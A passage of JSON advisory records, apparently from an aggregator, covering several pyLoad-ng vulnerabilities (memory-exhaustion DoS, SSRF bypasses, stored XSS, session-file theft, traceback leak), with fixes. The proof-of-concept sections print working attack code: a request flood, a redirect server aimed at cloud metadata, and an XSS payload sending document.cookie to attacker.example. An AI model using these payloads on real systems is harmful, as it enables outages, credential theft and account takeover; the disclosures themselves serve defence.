endpoint, each with a unique `uuid`.\n```python\nimport requests\nimport uuid\nimport time\n\n# Configuration\nURL = \"http://localhost:8000/api/getEvents\"\nNUM_REQUESTS = 100000\n\nheaders = {\n\t\"X-API-Key\" : \"\u003cYOUR_APIKEY\u003e\"\n}\n\nprint(f\"Starting DoS attack: sending {NUM_REQUESTS} unique UUIDs...\")\n\nfor i in range(NUM_REQUESTS):\n   # Generating a new UUID\n    uid = str(uuid.uuid4())\n    try:\n        # Sending request\n        requests.get(URL, params={\"uuid\": uid}, headers=headers, timeout=5)\n        if i % 1000 == 0:\n            print(f\"Sent {i} requests...\")\n    except requests.exceptions.RequestException as e:\n        print(f\"Error at request {i}: {e}\")\n        break\n\nprint(\"Attack complete. Check memory usage.\")\n\n```\n5.  **Monitor Memory**: Monitor the memory usage of the `pyload` process (e.g., using `top`, `ps` or the following commands).\n```bash\nPID=$(pgrep -f \"pyload\"); while true; do ps -o rss= -p $PID; sleep 1; done\n```\n\n6.  **Observe Growth**: Notice that the memory consumption increases and never decreases, even after the requests stop and 30 seconds.\n\nhttps://github.com/user-attachments/assets/28d460c9-655d-45a1-a47f-c0f4d196f686\n\n## Impact:\n- Denial of Service (DoS). The `pyload` process will consume all available system memory, leading to an Out-of-Memory (OOM) kill by the operating system or system-wide instability, affecting other services on the host.\n\n## Mitigations:\n- **Invoke `clean()`**: Call `self.clean()` at the beginning of the `get_events` method to purge inactive clients before processing new ones.\n- **Rate Limiting**: Implement rate limiting on the `getEvents` endpoint to prevent a single client from flooding the server with unique UUIDs.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-09T13:35:28.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/pyload/pyload/security/advisories/GHSA-c2f9-4mc8-j656","https://github.com/advisories/GHSA-c2f9-4mc8-j656"],"source_kind":"github","identifiers":["GHSA-c2f9-4mc8-j656","CVE-2026-48987"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-09T14:00:09.079Z","updated_at":"2026-09-19T09:01:45.247Z","epss_percentage":0.00301,"epss_percentile":0.2276,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jMmY5LTRtYzgtajY1Ns4ABaaq","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jMmY5LTRtYzgtajY1Ns4ABaaq","packages":[{"ecosystem":"pypi","package_name":"pyload-ng","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 0.5.0b3.dev100"}],"purl":"pkg:pypi/pyload-ng"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jMmY5LTRtYzgtajY1Ns4ABaaq/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tNXg1LTI4anItZ3Bqas4ABaap","url":"https://github.com/advisories/GHSA-m5x5-28jr-gpjj","title":"pyLoad: SSRF guard bypass via IPv6 6to4/NAT64 transition wrappers of internal IPs","description":"## Summary\n\n`is_global_address` in [`src/pyload/core/utils/web/check.py`](https://github.com/pyload/pyload/blob/1b12dc7f348db8c144e0f39215680415e90ca4d2/src/pyload/core/utils/web/check.py) is the central guard against SSRF-style outbound connections in pyload-ng. It tests whether a given IP is \"globally routable\" via Python's `ipaddress.ip_address(value).is_global`, and callers treat `not is_global` as \"deny\":\n\n```python\ndef is_global_address(value):\n    try:\n        return ipaddress.ip_address(value).is_global\n    except ValueError:\n        return False\n\ndef is_global_host(value):\n    ips = host_to_ip(value)\n    return ips and all((is_global_address(ip) for ip in ips))\n```\n\nPython's `ipaddress.IPv6Address.is_global` classifies the NAT64 well-known prefix as **globally routable** on every supported Python version (3.9 through 3.14 confirmed), and on older Pythons (3.9-3.11) the 6to4 prefix as well:\n\n| address                          | `is_global` on Py 3.9-3.11 | `is_global` on Py 3.12+ | wrapped IPv4         |\n|----------------------------------|---------------------------|--------------------------|----------------------|\n| `2002:7f00:0001::` (6to4)        | True                      | False                    | 127.0.0.1            |\n| `2002:0a00:0001::` (6to4)        | True                      | False                    | 10.0.0.1             |\n| `2002:a9fe:a9fe::` (6to4)        | True                      | False                    | 169.254.169.254 (IMDS)|\n| `64:ff9b::a9fe:a9fe` (NAT64)     | True                      | True                     | 169.254.169.254      |\n| `64:ff9b::7f00:1` (NAT64)        | True                      | True                     | 127.0.0.1            |\n\npyload-ng declares `python_requires = \u003e=3.9` (`setup.cfg`), so deployments on Python 3.9-3.11 see the 6to4 path too. The NAT64 path is universal. `is_global` returns True for these wrappers, so `is_global_address` returns True and the deny check passes. The pycurl `PREREQFUNC` at [`src/pyload/core/network/http/http_request.py:680`](https://github.com/pyload/pyload/blob/1b12dc7f348db8c144e0f39215680415e90ca4d2/src/pyload/core/network/http/http_request.py#L680) consults the same helper just before TCP-connect:\n\n```python\nif not self.allow_private_ip:\n    is_proxy_ip = self.http_proxy_host and self.http_proxy_host == (conn_primary_ip, conn_primary_port)\n    if not is_global_address(conn_primary_ip) and not is_proxy_ip:\n        return pycurl.PREREQFUNC_ABORT\nreturn pycurl.PREREQFUNC_OK\n```\n\nOn a host with 6to4 routing (legacy operator tunnels; `2002::/16` still configurable) or NAT64 (cloud IPv6-only subnets with NAT64 gateway), the encoded form routes to the embedded IPv4 and the curl connection terminates at the internal endpoint, defeating the deny.\n\n`is_global_host` (the helper that callers like `parse_urls` use against a URL hostname) feeds through `host_to_ip` which pins `family=AF_INET`, so hostname-based reach to these forms relies on the attacker supplying an IPv6 literal in the URL — but the curl PREREQFUNC sees the actual resolved IP (the AAAA returned for the hostname), so a hostname with an AAAA record set to one of the bypass forms reaches the same gap.\n\nCross-reference: this is the same incomplete-coverage class as pydantic-ai's [GHSA-cqp8-fcvh-x7r3](https://github.com/pydantic/pydantic-ai/security/advisories/GHSA-cqp8-fcvh-x7r3) / CVE-2026-46678. pyload-ng's prior SSRF advisories [GHSA-7gvf-3w72-p2pg](https://github.com/pyload/pyload/security/advisories/GHSA-7gvf-3w72-p2pg) and [GHSA-8rp3-xc6w-5qp5](https://github.com/pyload/pyload/security/advisories/GHSA-8rp3-xc6w-5qp5) both went through `is_global_host` / `is_global_address`; the IPv6 transition gap is orthogonal to those redirect-bypass classes.\n\n## Severity\n\n**MEDIUM** — `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:N/A:L` = **4.7**\n\n- `AC:H` — exploitation requires the host network to route 6to4 (`2002::/16` traffic), have a NAT64 gateway, or otherwise resolve the IPv6 transition form to an internal IPv4 endpoint at the TCP layer.\n- `PR:L` — `parse_urls` ([`src/pyload/core/api/__init__.py:582`](https://github.com/pyload/pyload/blob/1b12dc7f348db8c144e0f39215680415e90ca4d2/src/pyload/core/api/__init__.py#L582)) requires `Perms.ADD`, which any account capable of adding links holds. The curl PREREQFUNC at [`http_request.py:680`](https://github.com/pyload/pyload/blob/1b12dc7f348db8c144e0f39215680415e90ca4d2/http_request.py#L680) is reached by every downloader plugin that runs after `is_global_host` passed.\n- `C:L/A:L` — internal-network recon and timing-based confirmation; cloud-metadata exfiltration on networks where the transition form actually routes.\n\n**CWE-918**: Server-Side Request Forgery (SSRF).\n\n## Affected versions\n\n`pyload-ng` from the introduction of `is_global_address` / `is_global_host` in [`src/pyload/core/utils/web/check.py`](https://github.com/pyload/pyload/blob/1b12dc7f348db8c144e0f39215680415e90ca4d2/src/pyload/core/utils/web/check.py) up to and including the current main HEAD as of filing.\n\n## Vulnerable code\n\n[`src/pyload/core/utils/web/check.py`](https://github.com/pyload/pyload/blob/1b12dc7f348db8c144e0f39215680415e90ca4d2/src/pyload/core/utils/web/check.py):\n\n```python\ndef is_global_address(value):\n    try:\n        return ipaddress.ip_address(value).is_global\n    except ValueError:\n        return False\n```\n\n`Python ipaddress.IPv6Address.is_global` returns True for every address in `2002::/16` (6to4) and `64:ff9b::/96` (NAT64) regardless of the IPv4 they wrap, so this guard is a one-line bypass for the prefix the attacker chooses.\n\n## Reproduction\n\n[`research_wave5/poc/pyload_ipv6_ssrf/poc.py`](https://github.com/pyload/pyload/blob/1b12dc7f348db8c144e0f39215680415e90ca4d2/research_wave5/poc/pyload_ipv6_ssrf/poc.py) drives both `is_global_address` and `is_global_host` against IPv6 transition forms whose embedded IPv4 points at loopback, RFC 1918, and AWS IMDS. The helper returns \"globally routable\" for every form. A second pass replays the same forms through the `PREREQFUNC` logic in [`http_request.py:680`](https://github.com/pyload/pyload/blob/1b12dc7f348db8c144e0f39215680415e90ca4d2/http_request.py#L680) and shows the connection would be ALLOWED in each case.\n\n## Suggested fix\n\nTreat IPv6 transition-encoding forms by unwrapping the embedded IPv4 and re-running the global check, plus an explicit blocklist of well-known embedding prefixes for defence in depth:\n\n```python\nimport ipaddress\n\n_NAT64_WELL_KNOWN = ipaddress.IPv6Network(\"64:ff9b::/96\")\n_NAT64_DISCOVERY = ipaddress.IPv6Network(\"64:ff9b:1::/48\")\n\n\ndef _embedded_ipv4(addr):\n    if isinstance(addr, ipaddress.IPv6Address):\n        if addr.ipv4_mapped is not None:\n            return addr.ipv4_mapped\n        if addr.sixtofour is not None:  # 2002::/16 6to4\n            return addr.sixtofour\n        if addr in _NAT64_WELL_KNOWN or addr in _NAT64_DISCOVERY:\n            return ipaddress.IPv4Address(addr.packed[-4:])\n    return None\n\n\ndef is_global_address(value):\n    try:\n        addr = ipaddress.ip_address(value)\n    except ValueError:\n        return False\n    embedded = _embedded_ipv4(addr)\n    if embedded is not None:\n        addr = embedded\n    return addr.is_global\n```\n\nA patch implementing this approach (plus tests covering 6to4 and NAT64 wraps for 127.0.0.1, 10.0.0.1, 172.16.0.1, 192.168.1.1, 100.64.0.0/10, and 169.254.169.254) accompanies the fix PR.\n\n## Credits\n\nReported by tonghuaroot.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-09T13:35:22.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.9,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:N/A:L","references":["https://github.com/pyload/pyload/security/advisories/GHSA-m5x5-28jr-gpjj","https://github.com/advisories/GHSA-m5x5-28jr-gpjj"],"source_kind":"github","identifiers":["GHSA-m5x5-28jr-gpjj","CVE-2026-48737"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-09T14:00:09.079Z","updated_at":"2026-09-19T09:01:45.248Z","epss_percentage":0.00181,"epss_percentile":0.07933,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tNXg1LTI4anItZ3Bqas4ABaap","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tNXg1LTI4anItZ3Bqas4ABaap","packages":[{"ecosystem":"pypi","package_name":"pyload-ng","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 0.5.0b3.dev100"}],"purl":"pkg:pypi/pyload-ng"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tNXg1LTI4anItZ3Bqas4ABaap/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04cnAzLXhjNnctNXFwNc4ABXOA","url":"https://github.com/advisories/GHSA-8rp3-xc6w-5qp5","title":"pyload-ng: SSRF via HTTP Redirect Bypass in parse_urls API","description":"## Summary\n\nThe SSRF mitigation added in commit `33c55da` for GHSA-7gvf-3w72-p2pg is incomplete. The `PREREQFUNCTION`-based private IP check was correctly applied to `HTTPChunk` (download path) but not to `HTTPRequest` (used by the `parse_urls` API). An authenticated attacker can supply a URL pointing to an attacker-controlled server that responds with a 302 redirect to an internal/private IP address, bypassing the `is_global_host()` check on the initial URL.\n\n## Details\n\nThe `parse_urls` API method validates the initial URL hostname:\n\n```python\n# src/pyload/core/api/__init__.py:600-604\nif url:\n    urlp = urlparse(url)\n    hostname = urlp.hostname\n    if urlp.scheme in (\"http\", \"https\") and hostname and is_global_host(hostname):\n        page = get_url(url)\n```\n\n`get_url()` is imported from `request_factory.py` and creates an `HTTPRequest` with default settings:\n\n```python\n# src/pyload/core/network/request_factory.py:58-64\ndef get_url(self, *args, **kwargs):\n    with HTTPRequest(None, self.get_options()) as h:\n        rep = h.load(*args, **kwargs)\n    return rep\n```\n\n`HTTPRequest.__init__` sets `allow_private_ip = True` by default:\n\n```python\n# src/pyload/core/network/http/http_request.py:75\nself.allow_private_ip = True\n```\n\nThe `init_handle()` method enables redirect following:\n\n```python\n# src/pyload/core/network/http/http_request.py:117-118\nself.c.setopt(pycurl.FOLLOWLOCATION, 1)\nself.c.setopt(pycurl.MAXREDIRS, 10)\n```\n\nThe `_pre_request_callback` that should block redirects to private IPs is a no-op when `allow_private_ip` is `True`:\n\n```python\n# src/pyload/core/network/http/http_request.py:574-582\ndef _pre_request_callback(self, conn_primary_ip, conn_local_ip, conn_primary_port, conn_local_port):\n    if not self.allow_private_ip and not is_global_address(conn_primary_ip):\n        return pycurl.PREREQFUNC_ABORT\n    return pycurl.PREREQFUNC_OK\n```\n\nThe fix at commit `33c55da` correctly set `allow_private_ip = False` in `HTTPChunk` (http_chunk.py:136) for the download path, but `HTTPRequest` used by `RequestFactory.get_url()` retains the default of `True`, leaving the `parse_urls` API unprotected against redirect-based SSRF.\n\n## PoC\n\n```bash\n# Step 1: Start a redirect server on attacker-controlled host\npython3 -c \"\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(302)\n        self.send_header('Location', 'http://169.254.169.254/latest/meta-data/')\n        self.end_headers()\nHTTPServer(('0.0.0.0', 8888), H).serve_forever()\n\"\n\n# Step 2: Authenticated user with ADD permission calls parse_urls\ncurl -X POST 'http://pyload-host:8000/api/parse_urls' \\\n  -H 'Cookie: session=\u003cvalid_session\u003e' \\\n  -d 'url=http://attacker.com:8888/redirect'\n\n# Expected flow:\n# 1. is_global_host('attacker.com') -\u003e True (passes validation)\n# 2. get_url() creates HTTPRequest with allow_private_ip=True\n# 3. pycurl fetches attacker.com:8888, receives 302 -\u003e http://169.254.169.254/latest/meta-data/\n# 4. _pre_request_callback runs but skips check (allow_private_ip=True)\n# 5. pycurl follows redirect to cloud metadata endpoint\n# 6. Response body parsed by RE_URLMATCH, any URLs in metadata returned to attacker\n```\n\n## Impact\n\nAn authenticated attacker with ADD permission can perform SSRF against:\n\n- **Cloud metadata endpoints** (AWS IMDSv1 at `169.254.169.254`, GCP, Azure) — potentially leaking IAM credentials, instance metadata, and secrets\n- **Internal services** on private networks (e.g., `10.x.x.x`, `172.16.x.x`, `192.168.x.x`)\n- **Localhost services** (`127.0.0.1`) running on the pyload server\n\nData exfiltration is partially limited by the `RE_URLMATCH` regex filter (only URL-like strings from the response body are returned), but cloud metadata responses often contain URLs or URL-like paths that match this pattern. The `REDIR_PROTOCOLS` setting limits redirects to HTTP/HTTPS only.\n\n## Recommended Fix\n\nSet `allow_private_ip = False` in `RequestFactory.get_url()`:\n\n```python\n# src/pyload/core/network/request_factory.py\ndef get_url(self, *args, **kwargs):\n    with HTTPRequest(None, self.get_options()) as h:\n        h.allow_private_ip = False  # Prevent SSRF via redirects\n        rep = h.load(*args, **kwargs)\n    return rep\n```\n\nAlternatively, change the default in `HTTPRequest.__init__` to `False`:\n\n```python\n# src/pyload/core/network/http/http_request.py:75\nself.allow_private_ip = False\n```\n\nThe second approach is more defensive (secure by default), but may require auditing other callers that legitimately need to access private IPs. The first approach is the targeted fix.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-21T19:54:32.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.0,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N","references":["https://github.com/pyload/pyload/security/advisories/GHSA-8rp3-xc6w-5qp5","https://nvd.nist.gov/vuln/detail/CVE-2026-46561","https://github.com/advisories/GHSA-8rp3-xc6w-5qp5"],"source_kind":"github","identifiers":["GHSA-8rp3-xc6w-5qp5","CVE-2026-46561"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-21T20:00:30.298Z","updated_at":"2026-07-12T11:00:59.945Z","epss_percentage":0.00176,"epss_percentile":0.07213,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04cnAzLXhjNnctNXFwNc4ABXOA","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04cnAzLXhjNnctNXFwNc4ABXOA","packages":[{"ecosystem":"pypi","package_name":"pyload-ng","versions":[{"first_patched_version":"0.5.0b3.dev100","vulnerable_version_range":"\u003c 0.5.0b3.dev100"}],"purl":"pkg:pypi/pyload-ng"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04cnAzLXhjNnctNXFwNc4ABXOA/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mY2pxLTQzNXYtang5NM4ABW44","url":"https://github.com/advisories/GHSA-fcjq-435v-jx94","title":"pyLoad is vulnerable to stored XSS in Downloads view via unsanitized link URL in packages.js template literal","description":"## Summary\n\nThe `packages.js` template at `src/pyload/webui/app/themes/modern/templates/js/packages.js:172` interpolates a stored link URL into a template literal inside single-quoted HTML and then writes the result to the DOM via `$(div).html(html)`. No escaping runs between the API value and `innerHTML`. An attacker (Alice) who can submit a package link puts a single quote plus event handler into the URL, breaks out of the attribute, and executes JavaScript in every operator's browser that opens the downloads view. The theme does not set a Content Security Policy that restricts inline script or event handlers.\n\n## Details\n\n**Sink**: `src/pyload/webui/app/themes/modern/templates/js/packages.js:165-188`:\n\n```javascript\nconst html = `\n    \u003cspan class='child_status'\u003e\n      \u003cspan style='margin-right: 2px;color: #337ab7;' class='${link.icon}'\u003e\u003c/span\u003e\n    \u003c/span\u003e\n    \u003cspan style='font-size: 16px; font-weight: bold;'\u003e\n      \u003ca onclick='return false' href='${link.url}'\u003e${link.name}\u003c/a\u003e\n    \u003c/span\u003e\u003cbr/\u003e\n    \u003cdiv class='child_secrow' ...\u003e\n      \u003cspan class='child_status' ...\u003e${link.statusmsg}\u003c/span\u003e\u0026nbsp;${link.error}\u0026nbsp;\n      \u003cspan class='child_status' ...\u003e${link.format_size}\u003c/span\u003e\n      \u003cspan class='child_status' ...\u003e ${link.plugin}\u003c/span\u003e...\n    \u003c/div\u003e`;\n\nconst div = document.createElement(\"div\");\n$(div).attr(\"id\", `file_${link.id}`);\n$(div).css(\"padding-left\", \"30px\");\n$(div).css(\"cursor\", \"grab\");\n$(div).addClass(\"child\");\n$(div).html(html);\n```\n\n`link.url` flows in from `/api/get_package_data`, which returns the URL exactly as stored. Seven other fields on the same element (`link.name`, `link.statusmsg`, `link.error`, `link.format_size`, `link.plugin`, `link.icon`, `link.id`) share the same unescaped injection surface.\n\n**Source**: `src/pyload/core/api/__init__.py:541-600` (`add_package`) and the `/api/add_package` JSON route store the attacker-supplied `links` list without HTML escaping. The `add_package` URL sanitizer only strips `http://`, `https://`, `../`, `..\\\\`, `:`, and `/` from the folder *name*, not the link URL itself.\n\n**Mitigation gap**: `src/pyload/webui/app/__init__.py:63-72` sets security headers but has no `Content-Security-Policy` header. The only script-related header is `X-XSS-Protection`, which is a no-op on modern browsers.\n\n## Proof of Concept\n\n**Actor**: Alice (authenticated user with `Perms.ADD`). Reproduces against pyload 0.5.0-dev at `f081a16`.\n\n```bash\nTARGET=\"http://\u003cpyload-host\u003e:\u003cport\u003e\"\n\n# Alice logs in.\nCSRF=$(curl -sS -c /tmp/alice.jar \"$TARGET/login\" | grep -oP 'name=\"csrf_token\" value=\"\\K[^\"]+')\ncurl -sS -b /tmp/alice.jar -c /tmp/alice.jar -X POST \"$TARGET/login\" \\\n    -d \"csrf_token=$CSRF\u0026do=login\u0026username=alice\u0026password=alice123\" -o /dev/null\nAPI_CSRF=$(curl -sS -b /tmp/alice.jar \"$TARGET/\" | grep -oP 'name=\"csrf-token\" content=\"\\K[^\"]+')\n\n# Alice creates a package whose link URL breaks out of the href attribute\n# and installs an onmouseover payload.\ncurl -sS -b /tmp/alice.jar -X POST \"$TARGET/api/add_package\" \\\n    -H \"X-CSRFToken: $API_CSRF\" -H \"Content-Type: application/json\" \\\n    -d $'{\"name\":\"xss-pkg\",\"links\":[\"http://x\\' onmouseover=\\'fetch(`//attacker.example/`+document.cookie)\"]}'\n```\n\nThe package lands in the collector (the default destination). Alice can also pass `\"dest\":1` to place it in the queue instead. Both `/collector` and `/queue` render the same `packages.html` template, which loads `packages.js`.\n\nWhen any user (including the admin `pyload`) opens `/collector` or `/queue` and hovers the injected file row, the browser parses the anchor as:\n\n```html\n\u003ca onclick='return false' href='http://x' onmouseover='fetch(`//attacker.example/`+document.cookie)'\u003ehttp://x' onmouseover='fetch(`//attacker.example/`+document.cookie)\u003c/a\u003e\n```\n\nThe `onmouseover` handler fires on hover and exfiltrates the session cookie. A `javascript:` URL in the `href` triggers on click without hover.\n\n## Impact\n\nAny user who can reach `/api/add_package` (which covers the `Perms.ADD` role, the common baseline for operator users) plants JavaScript that runs in an admin's browser the next time that admin opens the downloads view. The admin's session cookie is in the same origin, so Alice receives it directly. Holding the admin cookie, Alice hits every admin-only endpoint: arbitrary plugin upload, configuration rewrite, reconnect-script RCE, and so on. The attack is stored, persists across reboots, and does not require any interaction from the victim beyond visiting `/collector` or `/queue`, the two pages operators use constantly.\n\nThe CNL Blueprint exposes a sibling attack surface: when pyload runs with the ClickNLoad handler enabled, an unauthenticated network attacker calls `POST /flash/add` with the same injected URL and reaches the same sink without logging in.\n\n`CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N` (High, 8.3). CWE-79.\n\n## Recommended Fix\n\nTwo changes.\n\nFirst, escape every `${link.*}` interpolation in the template. jQuery's `.text()` escapes by default; structure the render so attacker-controlled strings never reach `.html()`:\n\n```javascript\nconst a = $(\"\u003ca/\u003e\").attr(\"href\", link.url).text(link.name);\nconst status = $(\"\u003cspan/\u003e\").text(link.statusmsg);\n// ... build the DOM with .text() / .attr() calls ...\n$(div).append(a).append(status);\n```\n\nIf keeping the template-literal style, at minimum wrap every `${link.*}` in a helper that HTML-escapes:\n\n```javascript\nconst esc = (s) =\u003e String(s).replace(/\u0026/g, \"\u0026amp;\").replace(/\u003c/g, \"\u0026lt;\")\n    .replace(/\u003e/g, \"\u0026gt;\").replace(/\"/g, \"\u0026quot;\").replace(/'/g, \"\u0026#39;\");\n```\n\nSecond, deploy a strict CSP. `default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'; frame-ancestors 'self'` kills the inline-handler class entirely, and pyload's own assets already load from `'self'`.\n\nAudit the sibling templates (`queue.js`, `dashboard.js`, all admin themes) for the same pattern.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-14T20:23:51.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N","references":["https://github.com/pyload/pyload/security/advisories/GHSA-fcjq-435v-jx94","https://nvd.nist.gov/vuln/detail/CVE-2026-45348","https://github.com/advisories/GHSA-fcjq-435v-jx94"],"source_kind":"github","identifiers":["GHSA-fcjq-435v-jx94","CVE-2026-45348"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-14T21:00:17.481Z","updated_at":"2026-07-12T11:01:08.672Z","epss_percentage":0.00199,"epss_percentile":0.09747,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mY2pxLTQzNXYtang5NM4ABW44","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mY2pxLTQzNXYtang5NM4ABW44","packages":[{"ecosystem":"pypi","package_name":"pyload-ng","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 0.5.0b3.dev99"}],"purl":"pkg:pypi/pyload-ng"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mY2pxLTQzNXYtang5NM4ABW44/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13NzI3LTU5NXgtcGMzcs4ABW4q","url":"https://github.com/advisories/GHSA-w727-595x-pc3r","title":"pyLoad Has Incomplete Fix for CVE-2026-33509 -storage_folder Bypass via Session Directory in pyLoad","description":"## Summary\nThe fix for CVE-2026-33509 prevents setting `storage_folder` inside `PKGDIR` or `userdir`, but does NOT protect the Flask session directory (`/tmp/pyLoad/flask`). An authenticated attacker can set `storage_folder` to the session directory and download session files of other users via `/files/get/`, leading to account takeover.\n\n## Details\n\nThe fix in `src/pyload/core/api/__init__.py`:\n\n```python\ndirectories = [PKGDIR, userdir]\nif any(directories[0].startswith(d) for d in directories[1:]):\n    return  # blocked\n```\n\nBut the Flask session directory is:\n```python\nsession_storage_path = os.path.join(api.get_cachedir(), \"flask\")\n# = /tmp/pyLoad/flask  ← NOT blocked by fix\n```\n\n## Attack Chain\n\n1. Attacker (admin) sets `storage_folder = /tmp/pyLoad/flask`\n2. Fix does NOT block this — `/tmp/pyLoad/flask` not inside `PKGDIR` or `userdir`\n3. Attacker requests `GET /files/get/\u003cvictim_session_filename\u003e`\n4. `send_from_directory('/tmp/pyLoad/flask', session_file)` serves victim's session\n5. Attacker uses stolen session → **Account Takeover**\n\n## PoC\n\n\u003cimg width=\"592\" height=\"408\" alt=\"POC\" src=\"https://github.com/user-attachments/assets/936b9f56-325b-437d-9edd-e0d5bb995187\" /\u003e\n\n```python\nimport os\n\nPKGDIR = \"/usr/lib/python3/dist-packages/pyload\"\nuserdir = os.path.expanduser(\"~/.pyload\")\nsession_dir = \"/tmp/pyLoad/flask\"\n\ncorrect_case = lambda x: x\ndirectories = [\n    correct_case(os.path.join(os.path.realpath(d), \"\"))\n    for d in [session_dir, PKGDIR, userdir]\n]\nblocked = any(directories[0].startswith(d) for d in directories[1:])\n\nprint(f\"Fix blocks session_dir: {blocked}\")\n# Output: Fix blocks session_dir: False  ← BYPASS CONFIRMED\n```\n\n## Impact\nAuthenticated admin can steal sessions of other users → Account Takeover.\n\n## Suggested Fix\n```python\nblocked_dirs = [PKGDIR, userdir, api.get_cachedir()]\ndirectories = [\n    os.path.join(os.path.realpath(d), \"\")\n    for d in [value] + blocked_dirs\n]\nif any(directories[0].startswith(d) for d in directories[1:]):\n    return\n```","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-14T20:17:27.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N","references":["https://github.com/pyload/pyload/security/advisories/GHSA-w727-595x-pc3r","https://github.com/advisories/GHSA-r7mc-x6x7-cqxx","https://nvd.nist.gov/vuln/detail/CVE-2026-45306","https://github.com/advisories/GHSA-w727-595x-pc3r"],"source_kind":"github","identifiers":["GHSA-w727-595x-pc3r","CVE-2026-45306"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-14T21:00:17.482Z","updated_at":"2026-09-19T09:03:15.219Z","epss_percentage":0.00234,"epss_percentile":0.1452,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13NzI3LTU5NXgtcGMzcs4ABW4q","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13NzI3LTU5NXgtcGMzcs4ABW4q","packages":[{"ecosystem":"pypi","package_name":"pyload-ng","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 0.5.0b3.dev99"}],"purl":"pkg:pypi/pyload-ng"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13NzI3LTU5NXgtcGMzcs4ABW4q/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jM2djLTlwZjItODRnZ84ABWSs","url":"https://github.com/advisories/GHSA-c3gc-9pf2-84gg","title":"PyLoad vulnerable to unauthenticated traceback disclosure via global exception handler in WebUI","description":"### Summary\n`pyload-ng` WebUI returns full Python traceback details to clients on unhandled exceptions.\n\nBecause `/web/\u003cpath:filename\u003e` is reachable without authentication and renders attacker-controlled template names, an unauthenticated user can reliably trigger a server exception (for example by requesting a non-existent template) and receive internal stack traces in the HTTP response.\n\n### Details\nThe issue is caused by the combination of:\n\n1. Unauthenticated template-render route:\n- `src/pyload/webui/app/blueprints/app_blueprint.py:32-36`\n  - `@bp.route(\"/web/\u003cpath:filename\u003e\", endpoint=\"web\")`\n  - `data = render_template(filename)` with user-controlled `filename`\n  - no `@login_required(...)` on this route\n\n2. Global exception handler exposes traceback to response:\n- `src/pyload/webui/app/handlers.py:14-27`\n  - `tb = traceback.format_exc()`\n  - `messages.extend(tb.split('\\n'))`\n  - returned in rendered error page for all exceptions\n\n3. Error page renders all `messages`:\n- `src/pyload/webui/app/themes/modern/templates/base.html:217-219`\n  - loops over `messages` and prints them in response HTML\n\nSo any unhandled exception can disclose internal implementation details (stack frames, source paths, exception metadata) to remote unauthenticated clients. \n\nThis is a core behavior issue in default WebUI error handling\n\n### PoC\n```python\n#!/usr/bin/env python3\nfrom __future__ import annotations\n\nimport re\nimport shutil\nimport tempfile\nimport traceback\nfrom pathlib import Path\n\n\nROOT = Path(__file__).resolve().parent / \"pyload\" / \"src\" / \"pyload\"\n\n\ndef read_text(rel: str) -\u003e str:\n    return (ROOT / rel).read_text(encoding=\"utf-8\")\n\n\ndef route_has_no_login_required(app_blueprint: str) -\u003e bool:\n    m = re.search(\n        r'@bp\\\\.route\\\\(\"/web/\u003cpath:filename\u003e\", 